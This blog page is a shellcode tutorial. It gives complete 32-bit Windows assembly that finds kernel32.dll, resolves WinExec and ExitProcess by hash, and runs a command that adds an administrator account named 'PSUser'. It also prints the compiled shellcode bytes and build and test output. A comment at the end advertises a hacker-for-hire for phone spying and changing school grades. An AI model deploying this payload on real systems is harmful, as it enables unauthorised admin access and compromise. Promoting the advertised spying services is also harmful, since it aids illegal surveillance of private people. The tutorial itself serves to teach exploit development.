Monday 31, Mar 2025

728x90 AdSpace

.
Latest News

    Unknown Shellcode Tutorial 6: Dynamic Shellcode


    Introduction
    Up until now we have created shellcode containing hardcoded Windows function addresses. Hardcoding memory addresses restricts the shellcode to running on a specific version of Windows, service pack, and potentially even patch level. Well that stops here!
    This tutorial will provide you with the required functions and assembly code to dynamically locate the memory addresses for the Windows functions that you want to call in your shellcode.

    Our Aim
    The aim of our shellcode will be to create the "Windows Command Execution Shellcode" (from Tutorial 3) without hardcoding any memory addresses so that our shellcode is portable across Windows systems.
    This is done by first locating Kernel32.dll in memory, and then looping through each function name in Kernel32.dll and comparing each function hash to the function hashes that we generated in the previous tutorial.

    Setting up the function hashes
    From Tutorial 3 we added an administrative user to the local system using the functions "WinExec" and "ExitProcess". In Tutorial 5 we created the hashes for these functions, and we also learned how to set constants within our shellcode. The snippet of code below demonstrates us setting the constants for the hashes within our current shellcode:
    +------------------ [snip] ------------------+
    ;DEFINE CONSTANTS
        locate_hashes:
            call locate_hashes_return
            ;WinExec        ;result hash = 0x98FE8A0E
            db 0x98
            db 0xFE
            db 0x8A
            db 0x0E
            ;ExitProcess        ;result hash = 0x7ED8E273
            db 0x7E
            db 0xD8
            db 0xE2
            db 0x73
        ;END DEFINE CONSTANTS
    +------------------ [snip] ------------------+

    So how do we find Kernel32.dll and our function addresses?
    Kernel32.dll is always loaded when Windows boots up, and all Windows operating systems (prior to Vista) load Kernel32.dll into a predictable location in memory. This allows us to locate Kernel32.dll, and then from there we are able to step through and find each function name contained within Kernel32.dll. This allows us to find any function address within Kernel32.dll.
    As we loop through each function, we calculate the hash for this function name and compare it to our precalculated hash for the first function that we are searching for. If the hash matches then we have found our first function address. At this stage, we loop through the functions again to find our second function hash, and third, and so on until the end of our hash list has been reached.
    The assembly code for this tutorial contains the following new functions that allow us to perform the above actions:
        find_kernel32
        find_function
        resolve_symbols_for_dll

    The flow of the shellcode
    The first command in our shellcode jumps over all of the defined functions and constants into the "main" code of the assembly. At this point we need to allocate space on the stack for our function addresses. Each function address is 4 bytes, so we allocate 8 btyes on the stack to store the two function addresses. If your future shellcode uses an extra function, then this value should represent 12 bytes on the stack - but be careful of decimal notation and hex notation.
    The next instruction sets ebp as the frame pointer. This acts as a marker on the stack that doesn't change. This allows us to refer to our function addresses relative to the ebp register, as shown below.
    Our shellcode then calls "find_kernel32", which puts the Kernel32.dll address into the eax register. We then locate our constant function hashes, and then call "resolve_symbols_for_dll". This function uses "find_function" that loops through Kernel32.dll to locate the function address using our hashes and places the function address into our allocated positions on the stack.
    Our function addresses can now be called using the following call instructions:
        call [ebp+4]     ;WinExec
        call [ebp+8]     ;ExitProcess
    We can now start our custom shellcode to create a new user by calling these functions as we did in Tutorial 3, but this time we don't use any hardcoded function addresses.

    The Shellcode
    +--------------- Start adduser-dynamic.asm --------------+
    ;adduser-dynamic.asm
    [SECTION .text]
    BITS 32
    global _start
    _start:
        jmp start_asm
    ;DEFINE FUNCTIONS
    ;FUNCTION: find_kernel32
    find_kernel32:
        push esi
        xor eax, eax
        mov eax, [fs:eax+0x30]
        test eax, eax
        js find_kernel32_9x
    find_kernel32_nt:
        mov eax, [eax + 0x0c]
        mov esi, [eax + 0x1c]
        lodsd
        mov eax, [eax + 0x8]
        jmp find_kernel32_finished
    find_kernel32_9x:
        mov eax, [eax + 0x34]
        lea eax, [eax + 0x7c]
        mov eax, [eax + 0x3c]
    find_kernel32_finished:
        pop esi
        ret
    ;END FUNCTION: find_kernel32
    ;FUNCTION: find_function
    find_function:
        pushad
        mov ebp, [esp + 0x24]
        mov eax, [ebp + 0x3c]
        mov edx, [ebp + eax + 0x78]
        add edx, ebp
        mov ecx, [edx + 0x18]
        mov ebx, [edx + 0x20]
        add ebx, ebp
    find_function_loop:
        jecxz find_function_finished
        dec ecx
        mov esi, [ebx + ecx * 4]
        add esi, ebp ; esi now points to current function string
         ; start of compute hash function
    compute_hash: ; put this into a function
        xor edi, edi ; edi will hold our hash result
        xor eax, eax ; eax holds our current char
        cld
    compute_hash_again:
        lodsb ; puts current char into eax (except first time)
        test al, al ; checks for null - end of function string
        jz compute_hash_finished
        ror edi, 0xd ; rotate the current hash
        add edi, eax ; adds current char to current hash
        jmp compute_hash_again
    compute_hash_finished: ; end of compute hash function
    find_function_compare:
        ;this is where it compares the calculated hash to our hash
        cmp edi, [esp + 0x28]
        jnz find_function_loop
        mov ebx, [edx + 0x24]
        add ebx, ebp
        mov cx, [ebx + 2 * ecx]
        mov ebx, [edx + 0x1c]
        add ebx, ebp
        mov eax, [ebx + 4 * ecx]
        add eax, ebp
        ;this is the VMA of the function
        mov [esp + 0x1c], eax
    find_function_finished:
        popad
        ret
       
    ;END FUNCTION: find_function
    ;FUNCTION: resolve_symbols_for_dll
    resolve_symbols_for_dll:
        ;about to load current hash into eax (pointed to by esi)
        lodsd
        push eax
        push edx
        call find_function
        mov [edi], eax
        add esp, 0x08
        add edi, 0x04
        cmp esi, ecx
        jne resolve_symbols_for_dll
    resolve_symbols_for_dll_finished:
        ret
    ;END FUNCTION: resolve_symbols_for_dll
    ;DEFINE CONSTANTS
       
    locate_hashes:
        call locate_hashes_return
        ;WinExec ;result hash = 0x98FE8A0E
        db 0x98
        db 0xFE
        db 0x8A
        db 0x0E
        ;ExitProcess ;result hash = 0x7ED8E273
        db 0x7E
        db 0xD8
        db 0xE2
        db 0x73
    ;END DEFINE CONSTANTS
    start_asm: ; start our main program
        sub esp, 0x08 ; allocate space on stack for function addresses
        mov ebp, esp ; set ebp as frame ptr for relative offset on stack
        call find_kernel32 ;find address of Kernel32.dll
        mov edx, eax
        ;resolve kernel32 symbols
        jmp short locate_hashes ;locate address of our hashes
    locate_hashes_return: ;define return label to return to this code
        pop esi ;get constants address from stack
        lea edi, [ebp + 0x04] ;this is where we store our function addresses
        mov ecx, esi
        add ecx, 0x08 ;length of dns shellcode hash list
        call resolve_symbols_for_dll
    ;add user section
        jmp short GetCommand
    CommandReturn:
        pop ebx ;ebx now holds the handle to the string
        xor eax,eax ;empties out eax
        push eax ;push null onto stack as empty parameter value
        push ebx ;push the command onto the stack
        call [ebp+4] ;call WinExec(path,showcode)
        xor eax,eax ;zero the register again, clears winexec retval
        push eax ;push null onto stack as empty parameter value
    call [ebp+8] ;call ExitProcess(0);
    GetCommand:
        call CommandReturn
        db "cmd.exe /c net user PSUser PSPasswd /ADD && net localgroup Administrators /ADD PSUser"
        db 0x00
    +--------------- End adduser-dynamic.asm --------------+

    Compiling the Assembly Code
    In previous tutorials, we have manually gone through every step of compiling the assembly with nasm, stripping the raw shellcode with xxd and xdd-shellcode.sh, inserting this raw shellcode into shellcodetest.c, and then compiling this test program with gcc. This can be painful to remember and carry out each time you make a slight change to your shellcode.
    For this reason I created "shellcode-compiler.sh", which does all of these for you! You should have downloaded this script, and any other required scripts and programs in Tutorial 1. The usage of this program is shown below;
        $ ./shellcode-compiler.sh
       
            Usage: ./shellcode-compiler.sh filename.asm
            Eg, ./shellcode-compiler.sh shellcode.asm
    It takes the assembly file as an input to the compiler, and creates the Cygwin executable file of the form "filename.shellcodetest". The assembly for this tutorial can be compiled using the following command, and should display something similar to the output below.
        $ ./shellcode-compiler.sh adduser-dynamic.asm
       
        Compiling adduser-dynamic.asm to adduser-dynamic.bin
        [nasm -f bin -o adduser-dynamic.bin adduser-dynamic.asm]
       
        Converting adduser-dynamic.bin to adduser-dynamic.shellcode
        [./xxd-shellcode.sh adduser-dynamic.asm]
        \xe9\x9b\x00\x00\x00\x56\x31\xc0\x64\x8b\x40\x30\x85\xc0\x78\x0f\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40\x08\xe9\x09\x00\x00\x00\x8b\x40\x34\x8d\x40\x7c\x8b\x40\x3c\x5e\xc3\x60\x8b\x6c\x24\x24\x8b\x45\x3c\x8b\x54\x05\x78\x01\xea\x8b\x4a\x18\x8b\x5a\x20\x01\xeb\xe3\x34\x49\x8b\x34\x8b\x01\xee\x31\xff\x31\xc0\xfc\xac\x84\xc0\x74\x07\xc1\xcf\x0d\x01\xc7\xeb\xf4\x3b\x7c\x24\x28\x75\xe1\x8b\x5a\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5a\x1c\x01\xeb\x8b\x04\x8b\x01\xe8\x89\x44\x24\x1c\x61\xc3\xad\x50\x52\xe8\xaa\xff\xff\xff\x89\x07\x81\xc4\x08\x00\x00\x00\x81\xc7\x04\x00\x00\x00\x39\xce\x75\xe6\xc3\xe8\x19\x00\x00\x00\x98\xfe\x8a\x0e\x7e\xd8\xe2\x73\x81\xec\x08\x00\x00\x00\x89\xe5\xe8\x58\xff\xff\xff\x89\xc2\xeb\xe2\x5e\x8d\x7d\x04\x89\xf1\x81\xc1\x08\x00\x00\x00\xe8\xb6\xff\xff\xff\xeb\x0e\x5b\x31\xc0\x50\x53\xff\x55\x04\x31\xc0\x50\xff\x55\x08\xe8\xed\xff\xff\xff\x63\x6d\x64\x2e\x65\x78\x65\x20\x2f\x63\x20\x6e\x65\x74\x20\x75\x73\x65\x72\x20\x50\x53\x55\x73\x65\x72\x20\x50\x53\x50\x61\x73\x73\x77\x64\x20\x2f\x41\x44\x44\x20\x26\x26\x20\x6e\x65\x74\x20\x6c\x6f\x63\x61\x6c\x67\x72\x6f\x75\x70\x20\x41\x64\x6d\x69\x6e\x69\x73\x74\x72\x61\x74\x6f\x72\x73\x20\x2f\x41\x44\x44\x20\x50\x53\x55\x73\x65\x72
       
        Creating adduser-dynamic.shellcodetest.c
       
        Compiling adduser-dynamic.shellcodetest.c to adduser-dynamic.shellcodetest[.exe]
        [gcc -o adduser-dynamic.shellcodetest adduser-dynamic.shellcodetest.c]
       
        Complete. You can now execute ./adduser-dynamic.shellcodetest[.exe]
       
      
    You should now be ready to test the shellcode.

    Testing the shellcode
    Before we run this program, we want to show the user accounts on your local system by running the following command:
        # net user
        (lists the local accounts on your system)
    You should now be able to execute your shellcode via the test program "./adduser-dynamic.shellcodetest". The shellcode is designed to add an administrative user onto your system called "PSUser", and then it should exit cleanly.
        # ./adduser-dynamic.shellcodetest
        The command completed successfully.
        (adds a user account)
        The command completed successfully.
        (adds the user account to the administrators group)
        (then exists cleanly)
    We can now confirm that the account was created by running the "net user" command again, as shown below:
        # net user
        (lists the local accounts, now including "PSUser")

    Clean Up
    You should make sure that you remove this account from your system to ensure that it is not used to break into your system. This can be done using the following command:
        # net user PSUser /delete
        The command completed successfully.
        (deletes the "PSUser" account)

    Congratulations!
    You have just created shellcode that automatically locates the memory addresses for Kernel32.dll and the Windows functions that we needed. The shellcode then used these function addresses to execute Windows functions to add an administrative account on the local system.
    You can now write shellcode that is portable across multiple Windows systems!
    The learning doesn't stop here! We now need to know how to create network connections so that a remote attacker can execute commands on the compromised system. This is the next tutorial.
    • Blogger Comments
    • Facebook Comments

    1 comments:

    1. Are you willing to know who your spouse really is, if your spouse is cheating just contact cybergoldenhacker he is good at hacking into cell phones,changing school grades and many more this great hacker has also worked for me and i got results of spouse whats-app messages,call logs, text messages, viber,kik, Facebook, emails. deleted text messages and many more this hacker is very fast cheap and affordable he has never disappointed me for once contact him if you have any form of hacking problem am sure he will help you THANK YOU.
      contact: cybergoldenhacker at gmail dot com

      ReplyDelete

    Item Reviewed: Shellcode Tutorial 6: Dynamic Shellcode Rating: 5 Reviewed By: Unknown